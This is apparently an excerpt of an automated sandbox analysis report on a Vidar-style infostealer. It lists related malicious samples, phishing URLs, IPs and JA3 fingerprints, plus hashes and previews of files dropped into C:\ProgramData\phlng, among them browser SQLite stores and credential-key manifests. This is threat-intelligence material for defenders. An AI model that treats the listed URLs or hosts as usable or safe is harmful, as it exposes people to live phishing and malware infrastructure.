	Document-0191536.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	2.22.242.11
	[EXTERNAL] FWD_ Billing statement SRG-4545-JJJHH- 29 January ,2025.eml	Get hash	malicious	Unknown	Browse	2.19.126.145
	SoftWareGX.exe	Get hash	malicious	Vidar	Browse	2.22.242.105
	82.msi	Get hash	malicious	Unknown	Browse	2.22.242.11
	random.exe	Get hash	malicious	Vidar	Browse	2.22.242.105
	el.msi	Get hash	malicious	Unknown	Browse	2.19.126.145
	Purchase_Agreement_1020036.pdf.lnk.bin.lnk	Get hash	malicious	Unknown	Browse	2.19.126.152
	installer.msi	Get hash	malicious	Unknown	Browse	2.19.11.98
	NRKCZ1PSDM.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	2.19.11.98

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	FOZkdjzquG.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.45
	m68k.elf	Get hash	malicious	Unknown	Browse	209.240.200.5
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	167.105.187.213
	jklsh4.elf	Get hash	malicious	Unknown	Browse	20.48.249.202
	nklsh4.elf	Get hash	malicious	Unknown	Browse	13.103.83.121
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	52.125.71.211
	splarm5.elf	Get hash	malicious	Unknown	Browse	13.103.35.212
	nklarm.elf	Get hash	malicious	Unknown	Browse	20.209.210.98
	nabspc.elf	Get hash	malicious	Unknown	Browse	20.195.134.219
	nabarm5.elf	Get hash	malicious	Unknown	Browse	170.165.225.69
TELEGRAMRU	https://tornlinke.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://wbhflznpgrvct.ink/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://xjklvmtdocqwz.top/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://redr.me/2ebpf2/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://grape-1738094562314.vercel.app/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://rwymbkgnjdx.wang/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://wtjkenbk.top/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	EFT-Remittance-Slip-for-Due-Invoice.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5646654.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	random.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
CLOUDFLARENETUS	FOZkdjzquG.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.18.116
	Swift copy.exe	Get hash	malicious	FormBook	Browse	104.21.3.103
	Full_S#U03b5#U03c4#U03c5#U03c1.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.149.66
	Full_S#U03b5#U03c4#U03c5#U03c1_patched.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	CxtwMdP64t.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.149.66
	xi6DPT8iWa.exe	Get hash	malicious	Unknown	Browse	172.67.179.207
	fJxdxyzaFz.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.149.66
	91vRUtyAmW.exe	Get hash	malicious	Unknown	Browse	172.67.179.207
	eGmG4rYdJ2.exe	Get hash	malicious	DCRat	Browse	104.21.80.1
	m4JIZpBl3o.exe	Get hash	malicious	Unknown	Browse	104.21.36.165

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	00wVZ1NU5b.exe	Get hash	malicious	Unknown	Browse	40.113.110.67
	givemebestoutputwithfreemindgoodforentiregood.hta	Get hash	malicious	Cobalt Strike	Browse	40.113.110.67
	nicegirlgivenmebestthingswithentiretimegoodfor.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	40.113.110.67
	WNqzT7mxfC.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	file.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	http://upholdil-ogin.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67
	dn0uAKsZoo.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	CD4QsBaOy9.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	6qLEfplqi1.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	20Y8DUj1qE.ps1	Get hash	malicious	Unknown	Browse	40.113.110.67
37f463bf4616ecd445d4a1937da06e19	CxtwMdP64t.exe	Get hash	malicious	LummaC Stealer	Browse	116.202.5.153 149.154.167.99
	xi6DPT8iWa.exe	Get hash	malicious	Unknown	Browse	116.202.5.153 149.154.167.99
	91vRUtyAmW.exe	Get hash	malicious	Unknown	Browse	116.202.5.153 149.154.167.99
	xICYXGvuR1.exe	Get hash	malicious	Unknown	Browse	116.202.5.153 149.154.167.99
	1QmM7DzcnT.exe	Get hash	malicious	Unknown	Browse	116.202.5.153 149.154.167.99
	gcGk1SoPpg.exe	Get hash	malicious	Unknown	Browse	116.202.5.153 149.154.167.99
	5646654.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	116.202.5.153 149.154.167.99
	random.exe	Get hash	malicious	Vidar	Browse	116.202.5.153 149.154.167.99
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar	Browse	116.202.5.153 149.154.167.99
	setup.exe	Get hash	malicious	Unknown	Browse	116.202.5.153 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\phlng\pp8q1n	random.exe	Get hash	malicious	Vidar	Browse
	2E02vIiMfd.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, PureLog Stealer, Socks5Systemz, Vidar	Browse
	random.exe	Get hash	malicious	Vidar	Browse
	25xTHcaF7V.exe	Get hash	malicious	Vidar	Browse
	test.hta	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
	yoda.exe	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse
	script.ps1	Get hash	malicious	Vidar	Browse
	Setup.msi	Get hash	malicious	Vidar	Browse
C:\Users\user\AppData\Local\Temp\815387\Cet.com	W6Wj4yCmmU.exe	Get hash	malicious	KeyLogger, StormKitty, VenomRAT	Browse
	New V1.0.1.exe	Get hash	malicious	RHADAMANTHYS	Browse
	setup.exe	Get hash	malicious	LummaC Stealer	Browse
	setup.exe	Get hash	malicious	LummaC Stealer	Browse
	random.exe	Get hash	malicious	Vidar	Browse
	n395XXd8UE.exe	Get hash	malicious	LummaC Stealer	Browse
	p199AjsEFs.exe	Get hash	malicious	Amadey, AsyncRAT, KeyLogger, LummaC Stealer, PureLog Stealer, ReverseShell, Stealc	Browse
	New v2.2.0.exe	Get hash	malicious	LummaC Stealer	Browse
	A_acid11.exe	Get hash	malicious	LummaC Stealer	Browse
	2E02vIiMfd.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, PureLog Stealer, Socks5Systemz, Vidar	Browse

Created / dropped Files

C:\ProgramData\phlng\5f3wl6

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	4.976174799333973
Encrypted:	false
SSDEEP:	24:p/o2e8ZR+UX6g0cj3+3A63sDEF4wwVpQwuoMBX0FCUK:22e8v+DgfLUwY4fcZB2A
MD5:	ECC51190BD585AB376691BBDDF2A638B
SHA1:	84DE01CF25B71C0BC4D16FAF65BE1589E385EAF0
SHA-256:	6F15C7E90A3C414BEAD4C1C50DC5E7CAB987D72E2F49953B717A879D7745038C
SHA-512:	C0626F92BD934A3C5295EA32D63910C3F51E0A47CB6287C698C0DF7EE66C1D1A1867FDE10F824BD7514566C69CD2DA16571D3F0DC56FE9DE39D13F89DFE2A02A
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-Windows-Embedded-KeyboardFilterService-Client".. processorArchitecture="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. replacementSettingsVersionRange="0-1".. settingsVersion="2".. >.. <machineSpecific>.. <migXml xmlns="">.. Per-machine state -->.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SOFTWARE\Microsoft\Windows Embedded\KeyboardFilter\ [*]</pattern>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\MsKeyboardFilter [Start]</pattern>.. </objectSet>.. </inc

C:\ProgramData\phlng\5ppzus

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4814
Entropy (8bit):	7.909739359753065
Encrypted:	false
SSDEEP:	96:K9DcEoTtp9feekTeBInbpzQK/XMEkyS+v86l1pjb5vFQIRwDYPc:K56zAMWpQK/cyz8A7jb5vGIqQc
MD5:	6E6FE97CBC259DB47CD8423141CF35A3
SHA1:	EE7D38E394FC87FBF2D4CBF7A45A56E270D667E1
SHA-256:	1B2BA8FC90BA68CD057B9CAAFFC218EAD59A23E37F79192ED37D0C3A7A8BAB03
SHA-512:	9FEE51391A289037D36344E22A49D5D4B863F30FFD19B4377D61E57EF389599F2F2790C41B6902C45BAF27B21A1F6916B6B6DF61A490A35592BE8CD1164E1966
Malicious:	false
Preview:	Cr24....t.........0.."0....H.............0.........,.i....9M..uEW....}.n..u..._3.08.:D.e]..'J...........l..)8`....:..P}........p..w(...v...Cm@....6..8...$._v....#a(.p..o:..=.....ef.C....M+.s.0g..@.'4.$ZN..e.....T.. ...F..;Sij[...&ZTH[.].D.z. ...A..<z...Ti....&..Z&u....D......\un.....................mR...B[.r..X...;.R..Y...j...x...3.9.h...R.L....a....V%[.W_/v.A}.VV....H..1..s.9lH.7...M..^.\|.C5...#..`...dJ.."..8....w......L../.........w....v.A....0..P....JU...~.-..[....K.d..i%.7....?].......1RiP..A.... ...b ...V2............f._~....IH.c.......0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.......m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A........q......:...L`\.q..?Rn.W/.\a...g...).....Q...8......J5.Z.~....0.Lt\|...d....D......=...}A3bG.Ra.oyZ..BP..,t./.0...w..WA.p.

C:\ProgramData\phlng\6fkfkx

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\phlng\6xl68g

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\phlng\8y5fk6

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2681164420879125
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMUSA1LyKOMq+8iP5GDHP/0jMVumO:Kq+n0JU91LyKOMq+8iP5GLP/0H
MD5:	B2C2921064F77161A6FFF87851CB93FD
SHA1:	96BF51591449A7D5E958921CD1448D3DDDB9AE9D
SHA-256:	30EF5122E61A94EBA723B722BEFD75324520ED0F596D932869905E44547EA687
SHA-512:	A463BE8847B24E4B59209AA2A37A8E09C987B7EFCCDA86DD61B05AAA4A505B089FFE757D5341FAF43EB4E5B129D37658797500BF434FCE9BE3F8D3F91A599810
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\phlng\8ycb1n

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08436837154972243
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v2:51zkVmvQhyn+Zoz67f
MD5:	BDDB3A7A4643B027E8E743D32B86297D
SHA1:	AACAA39E60FB34908241F75550B1CEDDA50E37D1
SHA-256:	13BC4A6A15651C116209341E97255C67980005927DFD9E91236E2E1517AF97EF
SHA-512:	9A6244248CA636DB12AEC2E56DEAEAA2D62ED8378EA5A1D9947938DA15CA66BC4EDF11BF7CCC92E43734449EBECD03CF538BB61FCF90798DEBFD65098BC2A444
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\phlng\8ym7qq

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3019
Entropy (8bit):	4.884926762491409
Encrypted:	false
SSDEEP:	48:22e8z2j+YgfH0LeIg6aFnJmINGbYgaFnQ7sPvh27+QgL7sYN2b4waFnw+:22X2qD0SPJv1/Pvh2S/pVN
MD5:	63F04FB9936532B21E616E88E3EBED14
SHA1:	56CEC96A0D4B10C6FC28C726B76BEF278CBC512F
SHA-256:	61C5B3D0FD4051236AD00A0A39BE2F75F7E0DEC2AFBFF85617AED19AEF3FC650
SHA-512:	66FF4756CE723378126DC6C1EC493B665D08387B3305A97ED9A80500CCCE6001DFB7F8957E8246C7C572D0362DA49EEC7AF8451B849F9E0E89FD8E14041CE75D
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. buildType="$(build.buildType)".. language="neutral".. name="Microsoft-Windows-Extensible-Authentication-Protocol-Host-Service".. processorArchitecture="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. replacementSettingsVersionRange="0".. replacementVersionRange="6.0-6.1.7150".. scope="Upgrade,MigWiz,USMT".. settingsVersion="0".. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\EapHost\Methods\ [*]</pattern>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\EapHost\Configuration\

C:\ProgramData\phlng\900h4w

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	8193
Entropy (8bit):	5.027484893998515
Encrypted:	false
SSDEEP:	96:WNPERXr2q6QOOzJMk67cY8GrPVYRjDjXK2FJpjjsjwjZjj6OzJMk67cY8GrPVYRM:a2gwP625sQ9jsw902I
MD5:	2D6ACF2AEC5E5349B16581C8AE23BF3E
SHA1:	0AA7B29E8F13EB16F3DFC503D4E8CC55424ECB15
SHA-256:	B48F54A1F8A4C3A25D7E0FBCB95BF2C825C89ACD9C80EBACE8C15681912EDEA2
SHA-512:	7943AA852F34778B9197C34E6B6978FE51E0CDD2130167CB9C7C56D1B2B1272051EFE03DF3A21A12ECB9B9303DE0733E335CDE0BBBE1A1FC429E3323D335A1FE
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly>.. AuthUI has 3 different component names that matter in its migration story... The one that applies during the migration gather phase is as follows:.. Microsoft-Windows-Authentication-AuthUI: Vista and Win7.. Microsoft-Windows-Authentication-AuthUI-Component: Win8 (and beyond).. In order to support migration from Vista/Win7 to Win8, we update the Microsoft-Windows-Authentication-AuthUI component.. to gather in the MigWiz scope (in addition to the Upgrade scope, which it already supported)... -->.. <assemblyIdentity.. buildType="$(build.buildType)".. language="neutral".. name="Microsoft-Windows-Authentication-AuthUI".. processorArchitecture="*".. publicKeyToken="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration .. optimizePatterns="no".. offlineApply="no".. alwaysProcess="yes".. scope="MigWiz,

C:\ProgramData\phlng\b1n7gv

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1468
Entropy (8bit):	5.0065780470180306
Encrypted:	false
SSDEEP:	24:p/o2e8GFp8PvMu0Vnu7vFPvJ8+FXg0Mej39ImlQu/kKcCEF4wflBX0FCUK:22e8+8PvMu0VnuRPvJ8+FXgMtImlx3cd
MD5:	E68A33BDAF7AEBE6D5BBBCEFDED6AC5C
SHA1:	A1120341BB4452FCA47EB5EA8FA62A08BFC48073
SHA-256:	A5DC5B9F31D69E6F65F405EF4E187BAB262746AAAC08E95C195AA77A0B310DE1
SHA-512:	69E1A60C0FFE8AA19B55FABE47801EEEA7CF4C84E426318D8B7BFFAF09A14FC5F569573BE30753D354B604911A616C231F485B08C3778E0A214F7E3DC9C21D2C
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. authors="artbaker".. buildFilter="".. company="Microsoft".. copyright="".. creationTimeStamp="2005-09-13T14:05:43.4054402-07:00".. lastUpdateTimeStamp="2005-09-13T15:41:02.9208750-08:00".. manifestVersion="1.0".. owners="artbaker".. supportInformation="".. testers="".. >.. <assemblyIdentity.. buildFilter="".. buildType="release".. language="neutral".. name="Microsoft-Windows-Cryptography-CryptoConfig-DL".. processorArchitecture="*".. publicKeyToken="".. type="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration xmlns="">.. <machineSpecific>.. <migXml>.. Check as this is only valid for down-level OS < than Windows Vista ? -->.. <detects>..

C:\ProgramData\phlng\bi5ppp

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.96984082363901
Encrypted:	false
SSDEEP:	24:p/o2e8ZF2YS+pg0cjh3N1LRMEF4wuSb3wuyBX0FCUK:22e8z2j+pgfZlMY4Qr0B2A
MD5:	4DBFCA3B87A59186D2612A95CA2CD899
SHA1:	4C84BD2D60CE789B44070CDDC296C09D2F52B1CC
SHA-256:	2C229D8DA31E17FCEF244A8A2029CA8FE8374738A9ECBFED9E23FB89DB8DF059
SHA-512:	704ECDBE3FC38AC3807946072C7C523C36B4AF1586BEFE01A87BBBF35CF20214A0E0DE892A56E74FE8AA806154D7D2B9CC7028AEF47BEC326564B5F18CD12421
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. buildType="$(build.buildType)".. language="neutral".. name="Microsoft-OneCore-TetheringService".. processorArchitecture="".. version="0.0.0.0".. />.. <migration.. replacementSettingsVersionRange="0".. settingsVersion="1".. alwaysProcess="Yes".. >.. <machineSpecific>.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\icssvc\Roaming\[]</pattern>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\icssvc\Settings\[*]</pattern>.. </objectSet>.. </include>.. </rules>..

C:\ProgramData\phlng\bimg4e

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4309
Entropy (8bit):	5.059776328378613
Encrypted:	false
SSDEEP:	96:22CBzmeQiHRAQgXx9QgXcOaBIpghKkQlwYBwkbsgo9:MmCZy7BhA
MD5:	3A9306662FE93D09B05B9AE44128BCF1
SHA1:	77A917FFE8FF0EAAD8F3D3B764836C810E4C9DF5
SHA-256:	1988183ECBC3C6987DA9CB598C78B52D7563D995FA94D1E91E0470392E765374
SHA-512:	DA1F2776E8D1E08076032365B0D463DC847A31C6C360181D9966488455E878C7738DEC6F2B39153B2A410E3BEB73A05EB524593D125077273343740826A7B9F9
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-Windows-dpapi-keys".. processorArchitecture="".. version="0.0.0.0".. />.. <migration.. scope="Upgrade,MigWiz,USMT,Data".. settingsVersion="1".. replacementSettingsVersionRange="0" .. >.. <machineSpecific>.. <migXml xmlns="">.. <rules context="User">.. <include>.. <objectSet>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Protect [CREDHIST]</pattern>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Protect\ [Preferred]</pattern>.. </objectSet>.. </include>.. <merge script="MigXmlHelper.DestinationPriority()">.. <objectSet>..

C:\ProgramData\phlng\cjwbaas0h

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\phlng\ct00zu

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4814
Entropy (8bit):	7.909739359753065
Encrypted:	false
SSDEEP:	96:K9DcEoTtp9feekTeBInbpzQK/XMEkyS+v86l1pjb5vFQIRwDYPc:K56zAMWpQK/cyz8A7jb5vGIqQc
MD5:	6E6FE97CBC259DB47CD8423141CF35A3
SHA1:	EE7D38E394FC87FBF2D4CBF7A45A56E270D667E1
SHA-256:	1B2BA8FC90BA68CD057B9CAAFFC218EAD59A23E37F79192ED37D0C3A7A8BAB03
SHA-512:	9FEE51391A289037D36344E22A49D5D4B863F30FFD19B4377D61E57EF389599F2F2790C41B6902C45BAF27B21A1F6916B6B6DF61A490A35592BE8CD1164E1966
Malicious:	false
Preview:	Cr24....t.........0.."0....H.............0.........,.i....9M..uEW....}.n..u..._3.08.:D.e]..'J...........l..)8`....:..P}........p..w(...v...Cm@....6..8...$._v....#a(.p..o:..=.....ef.C....M+.s.0g..@.'4.$ZN..e.....T.. ...F..;Sij[...&ZTH[.].D.z. ...A..<z...Ti....&..Z&u....D......\un.....................mR...B[.r..X...;.R..Y...j...x...3.9.h...R.L....a....V%[.W_/v.A}.VV....H..1..s.9lH.7...M..^.\|.C5...#..`...dJ.."..8....w......L../.........w....v.A....0..P....JU...~.-..[....K.d..i%.7....?].......1RiP..A.... ...b ...V2............f._~....IH.c.......0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.......m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A........q......:...L`\.q..?Rn.W/.\a...g...).....Q...8......J5.Z.~....0.Lt\|...d....D......=...}A3bG.Ra.oyZ..BP..,t./.0...w..WA.p.

C:\ProgramData\phlng\d26f3e

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2947
Entropy (8bit):	5.120077314818075
Encrypted:	false
SSDEEP:	48:22e8T8PvMu0846PYPvJ8+F9gUUL0VlxfMUIgPdunPduZJ0gPdunPduZQ/+lx3cCQ:22X8PvMu0LtPvJPF+0VlVO0z60w+lfah
MD5:	C7E301D9DD77A21C1CDBD73A63AF205C
SHA1:	715D25AA0C06B2AD162F52A8DE06FB5040C389B1
SHA-256:	239C9A49ACDA9FC9845B87819A33D07F359803153FEFFE4D2212989F82DE71E1
SHA-512:	B0E6FFB10EF5EB9EB433A23803591C84F603779306E78B1648374218A50D2F77E8EE7215615E9D1BE033A96B735321FCA9D5F7B0CB65661674346FC1546E43FE
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. authors="jeffspel".. buildFilter="".. company="Microsoft".. copyright="".. creationTimeStamp="2005-09-13T14:04:43.4054402-07:00".. lastUpdateTimeStamp="2005-09-13T15:39:02.9208750-08:00".. manifestVersion="1.0".. owners="jeffspel".. supportInformation="".. testers="".. >.. <assemblyIdentity.. buildFilter="".. buildType="release".. language="neutral".. name="Microsoft-Windows-Crypto-keys-DL".. processorArchitecture="*".. publicKeyToken="$(Build.WindowsPublicKeyToken)".. type="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. xmlns="".. scope="Upgrade,MigWiz,USMT".. >.. <migXml xmlns="">.. Check as this is only valid for down-level OS < t

C:\ProgramData\phlng\iec26f

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2829
Entropy (8bit):	5.130068712095974
Encrypted:	false
SSDEEP:	48:/2e8G+F0Vg8DIIgPdunPduPPduNJ7IgfCfikfidjikjirJu/MY4C5uXC5u/C5upL:/29F+cO0Mf7Rwiai5ieiFEMAQSQaQwX4
MD5:	CD55A48FE382A6820EC4FB55A66C2858
SHA1:	70A0A7B0E12DF915BD5E68FF0432637EFC2153DE
SHA-256:	97838AB994B53DFADEEF63955EECB05A7F118C2066EF97B0B0EB7BB48A526451
